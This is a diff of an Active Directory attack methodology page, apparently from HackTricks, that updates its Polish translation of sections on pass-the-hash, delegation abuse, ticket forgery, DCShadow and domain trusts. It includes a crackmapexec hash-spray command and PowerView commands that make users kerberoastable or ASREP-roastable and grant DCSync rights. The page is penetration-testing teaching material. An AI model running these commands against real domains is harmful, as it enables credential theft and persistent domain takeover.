 ### CVE-2021-1675/CVE-2021-34527 PrintNightmare

-This vulnerability allowed any authenticated user to **compromise the domain controller**.
+Ta luka umożliwiała każdemu uwierzytelnionemu użytkownikowi **skompromentowanie kontrolera domeny**.


 {{#ref}}
@ -245,23 +243,23 @@ printnightmare.md

 ## Privilege escalation on Active Directory WITH privileged credentials/session

-**Dla poniższych technik zwykły użytkownik domeny nie wystarczy — potrzebujesz specjalnych przywilejów/poświadczeń, aby wykonać te ataki.**
+**Dla poniższych technik zwykły użytkownik domeny nie wystarczy — potrzebujesz specjalnych uprawnień/poświadczeń, aby przeprowadzić te ataki.**

 ### Hash extraction

-Miejmy nadzieję, że udało ci się **przejąć jakieś konto local admin** używając [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) włącznie z relayingiem, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
+Miejmy nadzieję, że udało ci się **skompromentować jakieś konto lokalnego administratora** używając [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) (w tym relaying), [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
 Następnie czas zrzucić wszystkie hashe z pamięci i lokalnie.\
 [**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Pass the Hash

-**Once you have the hash of a user**, you can use it to **impersonate** it.\
-You need to use some **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.\
+**Gdy masz hash użytkownika**, możesz go użyć do jego **podszycia się**.\
+Musisz użyć jakiegoś **narzędzia**, które **wykona** **NTLM authentication using** that **hash**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, tak że kiedy zostanie wykonane jakiekolwiek **NTLM authentication**, ten **hash będzie używany.** Ostatnia opcja to to, co robi mimikatz.\
 [**Read this page for more information.**](../ntlm/index.html#pass-the-hash)

 ### Over Pass the Hash/Pass the Key

-This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.
+Ten atak ma na celu **użyć NTLM hasha użytkownika do zażądania Kerberos tickets**, jako alternatywę dla klasycznego Pass The Hash przez protokół NTLM. Dlatego może być szczególnie **przydatny w sieciach, gdzie protokół NTLM jest wyłączony** i dopuszczony jest tylko **Kerberos** jako protokół uwierzytelniania.


 {{#ref}}
@ -270,7 +268,7 @@ over-pass-the-hash-pass-the-key.md

 ### Pass the Ticket

-In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.
+W metodzie ataku **Pass The Ticket (PTT)** atakujący **kradną ticket uwierzytelniający użytkownika** zamiast jego hasła czy wartości hash. Ten skradziony ticket jest następnie używany do **podszycia się pod użytkownika**, uzyskując nieautoryzowany dostęp do zasobów i usług w sieci.


 {{#ref}}
@ -279,20 +277,20 @@ pass-the-ticket.md

 ### Credentials Reuse

-If you have the **hash** or **password** of a **local administrato**r you should try to **login locally** to other **PCs** with it.
+Jeśli masz **hash** lub **password** **local administratora**, powinieneś spróbować **zalogować się lokalnie** na innych **PCs** przy jego użyciu.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
 ```
 > [!WARNING]
-> Należy pamiętać, że to jest dość **głośne**, a **LAPS** by to **złagodził**.
+> Zauważ, że jest to dość **hałaśliwe** i **LAPS** mogłoby to **złagodzić**.

 ### MSSQL Abuse & Trusted Links

-Jeżeli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może ich użyć do **wykonywania poleceń** na hoście MSSQL (jeśli działa jako SA), **wykraść** NetNTLM **hash** lub nawet przeprowadzić **relay** **attack**.\
-Również, jeśli instancja MSSQL jest zaufana (database link) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań także w drugiej instancji**. Takie zaufania mogą być łańcuchowane i w pewnym momencie użytkownik może znaleźć źle skonfigurowaną bazę danych, w której będzie mógł wykonywać polecenia.\
-**Połączenia między bazami działają nawet przez forest trusts.**
+Jeśli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może je wykorzystać do **wykonywania poleceń** na hoście MSSQL (jeśli proces działa jako SA), **wykradzenia** NetNTLM **hasha** lub nawet przeprowadzenia **relay** **attack**.\
+Również, jeśli instancja MSSQL jest zaufana (database link) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia w zaufanej bazie danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań także w drugiej instancji**. Te zaufania mogą być łańcuchowane i w pewnym momencie użytkownik może znaleźć źle skonfigurowaną bazę danych, w której może uruchamiać polecenia.\
+**Linki między bazami działają nawet w ramach forest trusts.**


 {{#ref}}
@ -301,7 +299,7 @@ abusing-ad-mssql.md

 ### IT asset/deployment platforms abuse

-Zewnętrzne narzędzia do inwentaryzacji i deploymentu często udostępniają potężne ścieżki do poświadczeń i wykonania kodu. Zobacz:
+Zewnętrzne systemy inwentaryzacji i wdrażania często udostępniają potężne ścieżki do poświadczeń i wykonania kodu. Zobacz:

 {{#ref}}
 sccm-management-point-relay-sql-policy-secrets.md
@ -313,9 +311,9 @@ lansweeper-security.md

 ### Unconstrained Delegation

-Jeśli znajdziesz jakikolwiek obiekt Computer z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domenowe na tym komputerze, będziesz w stanie zrzucić TGT z pamięci każdego użytkownika, który się na nim loguje.\
-Zatem, jeśli **Domain Admin logins onto the computer**, będziesz w stanie zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
-Dzięki constrained delegation możesz nawet **automatycznie przejąć Print Server** (oby był to DC).
+Jeśli znajdziesz obiekt Computer z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domenowe na tym komputerze, będziesz w stanie zrzucić TGTs z pamięci wszystkich użytkowników, którzy logują się na ten komputer.\
+Tak więc, jeśli **Domain Admin** zaloguje się na ten komputer, będziesz w stanie zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
+Dzięki constrained delegation możesz nawet **automatycznie przejąć Print Server** (mam nadzieję, że będzie to DC).


 {{#ref}}
@ -324,8 +322,8 @@ unconstrained-delegation.md

 ### Constrained Delegation

-Jeśli użytkownik lub komputer ma włączoną "Constrained Delegation", będzie mógł **podszywać się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\
-Następnie, jeśli **skomprujesz hash** tego użytkownika/komputera, będziesz w stanie **podszyć się pod dowolnego użytkownika** (nawet domain admins), aby uzyskać dostęp do niektórych usług.
+Jeśli użytkownik lub komputer jest dozwolony dla "Constrained Delegation", będzie mógł **podszywać się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\
+Następnie, jeśli **skomprmisujesz hash** tego użytkownika/komputera, będziesz w stanie **podszyć się pod dowolnego użytkownika** (nawet Domain Admins) w celu dostępu do niektórych usług.


 {{#ref}}
@ -334,7 +332,7 @@ constrained-delegation.md

 ### Resourced-based Constrain Delegation

-Posiadanie uprawnienia **WRITE** do obiektu Active Directory zdalnego komputera umożliwia uzyskanie wykonania kodu z **podwyższonymi uprawnieniami**:
+Posiadanie uprawnienia **WRITE** na obiekcie Active Directory zdalnego komputera umożliwia osiągnięcie wykonania kodu z **podwyższonymi uprawnieniami**:


 {{#ref}}
@ -343,7 +341,7 @@ resource-based-constrained-delegation.md

 ### Permissions/ACLs Abuse

-Skompromitowany użytkownik może mieć pewne **interesujące uprawnienia do niektórych obiektów domeny**, które pozwolą Ci później **przemieszczać się bocznie**/**eskalować** uprawnienia.
+Skompromitowany użytkownik może mieć pewne **interesujące uprawnienia nad obiektami domenowymi**, które pozwolą Ci później **poruszać się lateralnie/**/**eskalować** uprawnienia.


 {{#ref}}
@ -352,7 +350,7 @@ acl-persistence-abuse/

 ### Printer Spooler service abuse

-Odkrycie usługi **Spool nasłuchującej** w domenie może zostać **nadużyte** do **pozyskania nowych poświadczeń** i **eskalacji uprawnień**.
+Odkrycie **usługi Spool nasłuchującej** w domenie może zostać **nadużyte** do **pozyskania nowych poświadczeń** i **eskalacji uprawnień**.


 {{#ref}}
@ -361,8 +359,8 @@ printers-spooler-service-abuse.md

 ### Third party sessions abuse

-Jeśli **inni użytkownicy** **uzyskują dostęp** do **skompro-mitowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie beaconów do ich procesów**, aby podszyć się pod nich.\
-Zwykle użytkownicy łączą się z systemem przez RDP, więc tutaj znajdziesz, jak wykonać kilka ataków na sesje RDP osób trzecich:
+Jeśli **inni użytkownicy** **dostęp** do **skomprromitowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie beaconów w ich procesy**, aby się pod nich podszyć.\
+Zazwyczaj użytkownicy łączą się z systemem przez RDP, więc tutaj masz jak przeprowadzić parę ataków na sesje RDP stron trzecich:


 {{#ref}}
@ -371,7 +369,7 @@ rdp-sessions-abuse.md

 ### LAPS

-**LAPS** zapewnia system zarządzania **lokalnym Administrator password** na komputerach dołączonych do domeny, zapewniając, że jest on **randomized**, unikalny i często **changed**. Te hasła są przechowywane w Active Directory, a dostęp do nich jest kontrolowany przez ACL dla uprawnionych użytkowników. Mając wystarczające uprawnienia do odczytu tych haseł, możliwe jest pivoting na inne komputery.
+**LAPS** dostarcza system zarządzania **local Administrator password** na komputerach dołączonych do domeny, zapewniając, że jest **losowe**, unikalne i często **zmieniane**. Hasła te są przechowywane w Active Directory, a dostęp kontrolowany jest przez ACLs tylko dla autoryzowanych użytkowników. Mając wystarczające uprawnienia do odczytu tych haseł, pivotowanie do innych komputerów staje się możliwe.


 {{#ref}}
@ -380,7 +378,7 @@ laps.md

 ### Certificate Theft

-**Zgromadzenie certyfikatów** z zaatakowanej maszyny może być sposobem na eskalację uprawnień w środowisku:
+**Zebranie certyfikatów** ze skompromitowanej maszyny może być sposobem na eskalację uprawnień w środowisku:


 {{#ref}}
@ -389,7 +387,7 @@ ad-certificates/certificate-theft.md

 ### Certificate Templates Abuse

-Jeśli skonfigurowane są **vulnerable templates**, można je nadużyć do eskalacji uprawnień:
+Jeśli skonfigurowane są **podatne szablony**, możliwe jest ich nadużycie w celu eskalacji uprawnień:


 {{#ref}}
@ -402,28 +400,28 @@ ad-certificates/domain-escalation.md

 Gdy zdobędziesz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin**, możesz **zrzucić** **bazę domeny**: _ntds.dit_.

-[**More information about DCSync attack can be found here**](dcsync.md).
+[**Więcej informacji o ataku DCSync można znaleźć tutaj**](dcsync.md).

-[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+[**Więcej informacji o tym, jak wykradać NTDS.dit można znaleźć tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Privesc as Persistence

-Niektóre z wcześniej omówionych technik mogą być użyte do utrzymania dostępu.\
+Niektóre z technik omówionych wcześniej mogą być wykorzystane do utrwalenia dostępu.\
 Na przykład możesz:

- Make users vulnerable to [**Kerberoast**](kerberoast.md)
+- Uczynić użytkowników podatnymi na [**Kerberoast**](kerberoast.md)

 ```bash
 Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
 ```

- Make users vulnerable to [**ASREPRoast**](asreproast.md)
+- Uczynić użytkowników podatnymi na [**ASREPRoast**](asreproast.md)

 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```

- Grant [**DCSync**](#dcsync) privileges to a user
+- Nadać użytkownikowi uprawnienia [**DCSync**](#dcsync)

 ```bash
 Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -431,7 +429,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti

 ### Silver Ticket

-Atak **Silver Ticket** tworzy legalny Ticket Granting Service (TGS) dla konkretnej usługi, używając **NTLM hash** (na przykład **hash** konta PC). Ta metoda jest stosowana, aby uzyskać **dostęp do przywilejów usługi**.
+Atak **Silver Ticket** tworzy **prawidłowy TGS (Ticket Granting Service) ticket** dla konkretnej usługi, używając **NTLM hasha** (na przykład **hasha konta komputera**). Metoda ta służy do **uzyskania przywilejów dostępu do usługi**.


 {{#ref}}
@ -440,9 +438,9 @@ silver-ticket.md

 ### Golden Ticket

-Atak **Golden Ticket** polega na uzyskaniu przez atakującego dostępu do **NTLM hash** konta krbtgt w środowisku Active Directory (AD). To konto jest specjalne, ponieważ służy do podpisywania wszystkich **Ticket Granting Tickets (TGTs)**, które są niezbędne do uwierzytelniania w sieci AD.
+Atak **Golden Ticket** polega na uzyskaniu przez atakującego dostępu do **NTLM hasha konta krbtgt** w środowisku Active Directory. To konto jest specjalne, ponieważ służy do podpisywania wszystkich **Ticket Granting Tickets (TGTs)**, które są kluczowe dla uwierzytelniania w sieci AD.

-Gdy atakujący zdobędzie ten **hash**, może tworzyć **TGTs** dla dowolnego konta, które wybierze (atak Silver ticket).
+Gdy atakujący pozyska ten hash, może tworzyć **TGTs** dla dowolnego konta, które wybierze (atak typu Silver ticket).


 {{#ref}}
@ -451,7 +449,7 @@ golden-ticket.md

 ### Diamond Ticket

-Są to podobne do golden tickets, sfałszowane w taki sposób, że **omijają powszechne mechanizmy wykrywania golden tickets.**
+Są to jakby golden tickets sfałszowane w sposób, który **omija zwykłe mechanizmy wykrywania golden tickets.**


 {{#ref}}
@ -460,7 +458,7 @@ diamond-ticket.md

 ### **Certificates Account Persistence**

-**Posiadanie certyfikatów konta lub możliwość ich żądania** to bardzo dobry sposób na utrzymanie dostępu do konta użytkownika (nawet jeśli użytkownik zmieni hasło):
+**Posiadanie certyfikatów konta lub możliwość ich wystawiania** jest bardzo dobrą metodą na utrzymanie dostępu do konta użytkownika (nawet jeśli zmieni on hasło):


 {{#ref}}
@ -469,7 +467,7 @@ ad-certificates/account-persistence.md

 ### **Certificates Domain Persistence**

-**Używanie certyfikatów umożliwia również utrzymanie się z wysokimi uprawnieniami wewnątrz domeny:**
+**Używanie certyfikatów pozwala także na utrzymanie wysokich uprawnień w domenie:**


 {{#ref}}
@ -478,13 +476,13 @@ ad-certificates/domain-persistence.md

 ### AdminSDHolder Group

-Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanych grup** (jak Domain Admins i Enterprise Admins) przez zastosowanie standardowego **Access Control List (ACL)** dla tych grup, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być wykorzystana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, przyznając pełny dostęp zwykłemu użytkownikowi, użytkownik ten zyskuje rozległą kontrolę nad wszystkimi uprzywilejowanymi grupami. Ten mechanizm bezpieczeństwa, mający chronić, może więc działać przeciwko celowi, umożliwiając nieuzasadniony dostęp chyba że jest ściśle monitorowany.
+Obiekt **AdminSDHolder** w Active Directory zapewnia ochronę **uprzywilejowanych grup** (jak Domain Admins i Enterprise Admins) poprzez stosowanie standardowego **Access Control List (ACL)** do tych grup, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być nadużyta; jeśli atakujący zmodyfikuje ACL AdminSDHolder, nadając pełny dostęp zwykłemu użytkownikowi, użytkownik ten zyskuje rozległą kontrolę nad wszystkimi uprzywilejowanymi grupami. Środek bezpieczeństwa, mający chronić, może więc działać odwrotnie, umożliwiając nieuprawniony dostęp, jeśli nie jest ściśle monitorowany.

-[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
+[**Więcej informacji o AdminDSHolder Group tutaj.**](privileged-groups-and-token-privileges.md#adminsdholder-group)

 ### DSRM Credentials

-W każdym **Domain Controller (DC)** istnieje lokalne konto administratora. Uzyskując prawa admina na takiej maszynie, hash lokalnego Administratora można wyodrębnić przy użyciu **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego Administratora.
+W każdym **Domain Controller (DC)** istnieje konto **local administrator**. Uzyskując prawa administratora na takiej maszynie, hash lokalnego Administratora można wydobyć używając **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, pozwalając na zdalny dostęp do konta lokalnego Administratora.


 {{#ref}}
@ -493,7 +491,7 @@ dsrm-credentials.md

 ### ACL Persistence

-Możesz **nadać** pewne **specjalne uprawnienia** użytkownikowi do określonych obiektów domeny, które pozwolą temu użytkownikowi **eskalować uprawnienia w przyszłości**.
+Możesz **nadać** pewne **specjalne uprawnienia** użytkownikowi nad konkretnymi obiektami domenowymi, które pozwolą temu użytkownikowi **eskalować uprawnienia w przyszłości**.


 {{#ref}}
@ -502,7 +500,7 @@ acl-persistence-abuse/

 ### Security Descriptors

-Security descriptors są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz dokonać nawet **niewielkiej zmiany** w **security descriptor** obiektu, możesz uzyskać bardzo interesujące uprawnienia do tego obiektu bez konieczności bycia członkiem uprzywilejowanej grupy.
+**Security descriptors** służą do **przechowywania** **uprawnień**, jakie **obiekt** ma **do** innego **obiektu**. Jeśli potrafisz wykonać nawet **małą zmianę** w **security descriptor** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez konieczności bycia członkiem uprzywilejowanej grupy.


 {{#ref}}
@ -511,7 +509,7 @@ security-descriptors.md

 ### Skeleton Key

-Zmodyfikuj **LSASS** w pamięci, aby ustawić **uniwersalne hasło**, przyznające dostęp do wszystkich kont domeny.
+Zmień **LSASS** w pamięci, aby ustawić **uniwersalne hasło**, dające dostęp do wszystkich kont domenowych.


 {{#ref}}
@ -521,7 +519,7 @@ skeleton-key.md
 ### Custom SSP

 [Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
-Możesz stworzyć własny **SSP**, aby przechwytywać poświadczenia w **clear text** używane do uzyskania dostępu do maszyny.
+Możesz stworzyć własne **SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do logowania się na maszynę.


 {{#ref}}
@ -530,8 +528,8 @@ custom-ssp.md

 ### DCShadow

-Rejestruje **nowy Domain Controller** w AD i używa go do **pushowania atrybutów** (SIDHistory, SPNs...) na wskazane obiekty **bez** pozostawiania jakichkolwiek **logów** dotyczących **modyfikacji**. Potrzebujesz uprawnień **DA** i musisz być w **root domain**.\
-Uwaga: jeśli użyjesz nieprawidłowych danych, pojawią się dość brzydkie logi.
+Rejestruje **nowy Domain Controller** w AD i używa go do **wypychania atrybutów** (SIDHistory, SPNs...) na wskazanych obiektach **bez** pozostawiania **logów** dotyczących **modyfikacji**. Potrzebujesz uprawnień DA i musisz być wewnątrz **root domain**.\
+Zauważ, że jeśli użyjesz błędnych danych, pojawią się dość brzydkie logi.


 {{#ref}}
@ -540,7 +538,7 @@ dcshadow.md

 ### LAPS Persistence

-Wcześniej omówiliśmy, jak eskalować uprawnienia, jeśli masz wystarczające uprawnienia do odczytu haseł **LAPS**. Jednak te hasła mogą być również wykorzystane do **utrzymania persystencji**.\
+Wcześniej omówiliśmy, jak eskalować uprawnienia, jeśli masz **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być również użyte do **utrzymania trwałego dostępu**.\
 Sprawdź:


@ -550,62 +548,62 @@ laps.md

 ## Forest Privilege Escalation - Domain Trusts

-Microsoft traktuje **Forest** jako granicę bezpieczeństwa. To oznacza, że **kompromitacja pojedynczej domeny może potencjalnie prowadzić do kompromitacji całego Forest**.
+Microsoft traktuje **Forest** jako granicę bezpieczeństwa. Oznacza to, że **skompromitowanie pojedynczej domeny może potencjalnie doprowadzić do skompromitowania całego Forest**.

 ### Basic Information

-A [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) jest mechanizmem bezpieczeństwa, który pozwala użytkownikowi z jednej **domeny** na dostęp do zasobów w innej **domenie**. Tworzy on powiązanie między systemami uwierzytelniania obu domen, umożliwiając przepływ weryfikacji uwierzytelnienia. Kiedy domeny konfigurowane są z zaufaniem, wymieniają i przechowują określone **klucze** w swoich **Domain Controllerach (DC)**, które są istotne dla integralności zaufania.
+[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. Tworzy on powiązanie między systemami uwierzytelniania obu domen, pozwalając na przepływ weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i przechowują określone **klucze** w swoich **Domain Controllers (DCs)**, które są kluczowe dla integralności zaufania.

-W typowym scenariuszu, jeśli użytkownik chce uzyskać dostęp do usługi w **trusted domain**, musi najpierw poprosić o specjalny bilet zwany **inter-realm TGT** z DC swojej domeny. Ten TGT jest szyfrowany przy użyciu wspólnego **trust key**, który obie domeny uzgodniły. Użytkownik następnie prezentuje ten inter-realm TGT Domain Controllerowi **trusted domain**, aby uzyskać bilet serwisowy (**TGS**). Po pomyślnej walidacji inter-realm TGT przez DC trusted domain, wydaje on TGS, przyznając użytkownikowi dostęp do usługi.
+W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **trusted domain**, najpierw musi poprosić o specjalny ticket znany jako **inter-realm TGT** od DC swojej własnej domeny. Ten TGT jest szyfrowany za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia ten TGT **DC zaufanej domeny**, aby otrzymać service ticket (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, DC wydaje TGS, przyznając użytkownikowi dostęp do usługi.

-**Steps**:
+**Kroki**:

-1. A **client computer** in **Domain 1** starts the process by using its **NTLM hash** to request a **Ticket Granting Ticket (TGT)** from its **Domain Controller (DC1)**.
-2. DC1 issues a new TGT if the client is authenticated successfully.
-3. The client then requests an **inter-realm TGT** from DC1, which is needed to access resources in **Domain 2**.
-4. The inter-realm TGT is encrypted with a **trust key** shared between DC1 and DC2 as part of the two-way domain trust.
-5. The client takes the inter-realm TGT to **Domain 2's Domain Controller (DC2)**.
-6. DC2 verifies the inter-realm TGT using its shared trust key and, if valid, issues a **Ticket Granting Service (TGS)** for the server in Domain 2 the client wants to access.
-7. Finally, the client presents this TGS to the server, which is encrypted with the server’s account hash, to get access to the service in Domain 2.
+1. Komputer **klienta** w **Domain 1** zaczyna proces używając swojego **NTLM hasha** do żądania **Ticket Granting Ticket (TGT)** od swojego **Domain Controller (DC1)**.
+2. DC1 wydaje nowy TGT, jeśli klient zostanie pomyślnie uwierzytelniony.
+3. Klient następnie żąda **inter-realm TGT** od DC1, który jest wymagany do dostępu do zasobów w **Domain 2**.
+4. Inter-realm TGT jest zaszyfrowany przy użyciu **trust key** współdzielonego między DC1 i DC2 jako część dwukierunkowego zaufania domen.
+5. Klient zabiera inter-realm TGT do **Domain 2's Domain Controller (DC2)**.
+6. DC2 weryfikuje inter-realm TGT używając wspólnego trust key i, jeśli ważny, wydaje **Ticket Granting Service (TGS)** dla serwera w Domain 2, do którego klient chce uzyskać dostęp.
+7. Na końcu klient przedstawia ten TGS serwerowi, który jest zaszyfrowany hashem konta serwera, aby uzyskać dostęp do usługi w Domain 2.

 ### Different trusts

-Warto zauważyć, że **trust** może być dwukierunkowy lub jednokierunkowy. W opcji dwukierunkowej obie domeny ufają sobie nawzajem, ale w relacji **one way** jedna z domen będzie **trusted**, a druga **trusting**. W tym drugim przypadku **będziesz mógł uzyskiwać dostęp tylko do zasobów w trusting domain z trusted domain**.
+Ważne jest zauważyć, że **trust może być jednokierunkowy lub dwukierunkowy**. W opcji dwukierunkowej obie domeny ufają sobie nawzajem, ale w relacji **jednokierunkowej** jedna z domen będzie **trusted**, a druga **trusting**. W tym drugim przypadku **będziesz mógł uzyskać dostęp do zasobów tylko wewnątrz trusting domain z poziomu trusted domeny**.

-Jeżeli Domain A ufa Domain B, A jest domeną trusting, a B jest domeną trusted. Co więcej, w **Domain A** będzie to **Outbound trust**; a w **Domain B** będzie to **Inbound trust**.
+Jeśli Domain A ufa Domain B, A jest domeną trusting, a B jest trusted. Co więcej, w **Domain A** będzie to **Outbound trust**; a w **Domain B**, będzie to **Inbound trust**.

-**Different trusting relationships**
+**Różne relacje zaufania**

- **Parent-Child Trusts**: To powszechna konfiguracja w ramach tego samego forest, gdzie domena child automatycznie ma dwukierunkowe, transitive trust z domeną parent. Oznacza to, że żądania uwierzytelniania mogą płynąć swobodnie między parent i child.
- **Cross-link Trusts**: Nazywane również "shortcut trusts", są ustanawiane między domenami child, aby przyspieszyć procesy referral. W złożonych lasach, odwołania uwierzytelniania zazwyczaj muszą iść do root forest, a potem w dół do docelowej domeny. Tworząc cross-links, skraca się tę drogę, co jest szczególnie korzystne w środowiskach rozproszonych geograficznie.
- **External Trusts**: Konfigurowane są między różnymi, niespowinowaconymi domenami i są z definicji non-transitive. Według [dokumentacji Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), external trusts są przydatne do dostępu do zasobów w domenie poza bieżącym forest, która nie jest połączona przez forest trust. Bezpieczeństwo jest wzmacniane przez SID filtering w przypadku external trusts.
- **Tree-root Trusts**: Te trusty są automatycznie ustanawiane między root domain forest a nowo dodanym tree root. Choć nie są często spotykane, tree-root trusts są ważne przy dodawaniu nowych drzew domen do lasu, umożliwiając im zachowanie unikalnej nazwy domeny i zapewniając dwukierunkową transitivity. Więcej informacji znajduje się w [poradniku Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Ten typ trustu jest dwukierunkowym, transitive trust między dwoma forest root domains, także wymuszając SID filtering, aby zwiększyć środki bezpieczeństwa.
- **MIT Trusts**: Trusty ustanawiane są z nie-Windowsowymi, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domenami. MIT trusts są bardziej wyspecjalizowane i służą środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
+- **Parent-Child Trusts**: To powszechna konfiguracja w obrębie tego samego forest, gdzie domena child automatycznie ma dwukierunkowe, przechodnie zaufanie z domeną parent. Oznacza to, że żądania uwierzytelnienia mogą płynąć bez przeszkód między parent a child.
+- **Cross-link Trusts**: Nazywane też "shortcut trusts", są ustanawiane między domenami child w celu przyspieszenia procesów referencyjnych. W złożonych forest żądania autoryzacji zwykle muszą podróżować do korzenia forest i następnie w dół do docelowej domeny. Tworząc cross-links, skraca się tę drogę, co jest szczególnie przydatne w środowiskach geograficznie rozproszonych.
+- **External Trusts**: Ustanawiane między różnymi, niezależnymi domenami i są z natury non-transitive. Zgodnie z dokumentacją Microsoft, external trusts są przydatne do dostępu do zasobów w domenie spoza bieżącego forest, która nie jest połączona przez forest trust. Bezpieczeństwo jest wzmacniane przez SID filtering z external trusts.
+- **Tree-root Trusts**: Te zaufania są automatycznie ustanawiane między domeną root forest a nowo dodanym tree root. Chociaż nie są powszechnie spotykane, tree-root trusts są ważne przy dodawaniu nowych drzew domen do forest, pozwalając im zachować unikalną nazwę domeny i zapewniając dwukierunkową przechodniość. Więcej informacji można znaleźć w przewodniku Microsoft.
+- **Forest Trusts**: Ten typ trustu to dwukierunkowe, przechodnie zaufanie między dwoma forest root domains, również egzekwujące SID filtering w celu zwiększenia środków bezpieczeństwa.
+- **MIT Trusts**: Te zaufania są ustanawiane z nie-Windowsowymi, zgodnymi z [RFC4120](https://tools.ietf.org/html/rfc4120) domenami Kerberos. MIT trusts są bardziej wyspecjalizowane i służą integracji z systemami opartymi na Kerberos poza ekosystemem Windows.

 #### Other differences in **trusting relationships**

- Relacja trust może być również **transitive** (A trusts B, B trusts C, wtedy A trusts C) lub **non-transitive**.
- Relacja trust może być ustawiona jako **bidirectional trust** (obie ufają sobie) lub jako **one-way trust** (tylko jedna ufa drugiej).
+- Relacja zaufania może być również **transitive** (A ufa B, B ufa C, więc A ufa C) lub **non-transitive**.
+- Relacja zaufania może być ustawiona jako **bidirectional trust** (oba ufają sobie) lub jako **one-way trust** (tylko jedna ufa drugiej).

 ### Attack Path

-1. **Enumerate** the trusting relationships
-2. Check if any **security principal** (user/group/computer) has **access** to resources of the **other domain**, maybe by ACE entries or by being in groups of the other domain. Look for **relationships across domains** (the trust was created for this probably).
-1. kerberoast in this case could be another option.
